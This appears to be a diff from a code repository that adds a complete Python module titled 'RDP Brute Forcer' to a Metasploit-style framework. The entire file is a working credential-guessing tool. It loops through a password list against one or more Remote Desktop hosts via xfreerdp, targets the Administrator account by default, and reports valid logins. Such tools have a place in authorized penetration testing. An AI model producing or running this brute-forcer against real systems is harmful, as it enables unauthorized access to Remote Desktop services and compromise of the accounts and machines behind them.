|
| 1 | +#!/usr/bin/env python3 |
| 2 | +""" |
| 3 | +RDP Brute Forcer (xfreerdp only) |
| 4 | +Attempts RDP authentication against target(s) using xfreerdp in auth-only mode. |
| 5 | +Works on Windows (with xfreerdp.exe installed and in PATH) and Linux. |
| 6 | +""" |
| 7 | + |
| 8 | +import os |
| 9 | +import subprocess |
| 10 | +import time |
| 11 | +from BaseModule import AuxiliaryModule |
| 12 | + |
| 13 | + |
| 14 | +class RDPBruteForcer(AuxiliaryModule): |
| 15 | + def __init__(self): |
| 16 | + super().__init__() |
| 17 | + self.info.update({ |
| 18 | + 'name': 'RDP Brute Forcer', |
| 19 | + 'description': 'Attempts RDP authentication using xfreerdp and a username/password list', |
| 20 | + 'author': 'Danii', |
| 21 | + 'version': '2.0' |
| 22 | + }) |
| 23 | + |
| 24 | + self.options.update({ |
| 25 | + 'RHOSTS': '', # comma separated hosts |
| 26 | + 'RPORT': 3389, |
| 27 | + 'USERNAME': 'Administrator', |
| 28 | + 'PASSLIST': 'passwords.txt', # one password per line |
| 29 | + 'TIMEOUT': 10, |
| 30 | + 'DELAY': 0.5, # seconds between attempts |
| 31 | + 'STOP_ON_SUCCESS': True |
| 32 | + }) |
| 33 | + |
| 34 | + self.required_options.update({'RHOSTS', 'USERNAME', 'PASSLIST'}) |
| 35 | + |
| 36 | + def try_login(self, target, username, password): |
| 37 | + """Try single username/password pair using xfreerdp.""" |
| 38 | + port = int(self.get_option('RPORT') or 3389) |
| 39 | + timeout = int(self.get_option('TIMEOUT') or 10) |
| 40 | + hostport = f"{target}:{port}" if port != 3389 else target |
| 41 | + |
| 42 | + cmd = [ |
| 43 | + "xfreerdp", "--auth-only", f"/u:{username}", f"/p:{password}", |
| 44 | + f"/v:{hostport}", "--ignore-certificate" |
| 45 | + ] |
| 46 | + |
| 47 | + try: |
| 48 | + p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) |
| 49 | + out = (p.stdout or "") + (p.stderr or "") |
| 50 | + self.vprint(f"[xfreerdp] rc={p.returncode} output:\n{out}") |
| 51 | + |
| 52 | + if p.returncode == 0 and "Authentication only" in out: |
| 53 | + return True, out # success |
| 54 | + return False, out # failure |
| 55 | + except FileNotFoundError: |
| 56 | + return False, "xfreerdp.exe not found (add it to PATH)" |
| 57 | + except subprocess.TimeoutExpired: |
| 58 | + return False, "xfreerdp timed out" |
| 59 | + |
| 60 | + def scan_target(self, target): |
| 61 | + username = str(self.get_option('USERNAME') or '') |
| 62 | + passfile = str(self.get_option('PASSLIST') or '') |
| 63 | + delay = float(self.get_option('DELAY') or 0.5) |
| 64 | + stop_on_success = bool(self.get_option('STOP_ON_SUCCESS') in (True, 'True', 'true', '1', 1)) |
| 65 | + |
| 66 | + if not os.path.exists(passfile): |
| 67 | + self.print_error(f"Password list not found: {passfile}") |
| 68 | + return |
| 69 | + |
| 70 | + try: |
| 71 | + with open(passfile, 'r', encoding='utf-8', errors='ignore') as fh: |
| 72 | + passwords = [line.strip() for line in fh if line.strip()] |
| 73 | + except Exception as e: |
| 74 | + self.print_error(f"Could not read {passfile}: {e}") |
| 75 | + return |
| 76 | + |
| 77 | + if not passwords: |
| 78 | + self.print_error("Password list empty.") |
| 79 | + return |
| 80 | + |
| 81 | + total = len(passwords) |
| 82 | + self.print_status(f"Attempting {total} passwords against {target} for user '{username}'") |
| 83 | + |
| 84 | + for idx, pwd in enumerate(passwords, start=1): |
| 85 | + if not self.running: |
| 86 | + break |
| 87 | + self.progress_update(idx, total, f"trying {idx}/{total}") |
| 88 | + ok, output = self.try_login(target, username, pwd) |
| 89 | + if ok: |
| 90 | + self.print_good(f"VALID: {username}:{pwd} on {target}") |
| 91 | + if stop_on_success: |
| 92 | + return |
| 93 | + else: |
| 94 | + self.vprint(f"Failed: {username}:{pwd} - {output}") |
| 95 | + time.sleep(delay) |
| 96 | + |
| 97 | + def run(self): |
| 98 | + if super().run() == False: |
| 99 | + return False |
| 100 | + |
| 101 | + hosts = [h.strip() for h in str(self.get_option('RHOSTS')).split(",") if h.strip()] |
| 102 | + if not hosts: |
| 103 | + self.print_error("RHOSTS not set or no valid targets.") |
| 104 | + return False |
| 105 | + |
| 106 | + for i, host in enumerate(hosts, start=1): |
| 107 | + if not self.running: |
| 108 | + break |
| 109 | + self.progress_update(i, len(hosts), f"Brute forcing RDP on {host}") |
| 110 | + self.scan_target(host) |
| 111 | + |
| 112 | + self.print_good("RDP brute forcing finished") |
| 113 | + self.cleanup() |
| 114 | + return True |
| 115 | + |
| 116 | + |
| 117 | +if __name__ == "__main__": |
| 118 | + # Standalone test mode |
| 119 | + m = RDPBruteForcer() |
| 120 | + m.set_option('RHOSTS', '127.0.0.1') |
| 121 | + m.set_option('USERNAME', 'Administrator') |
| 122 | + m.set_option('PASSLIST', 'passwords.txt') |
| 123 | + m.run() |
0 commit comments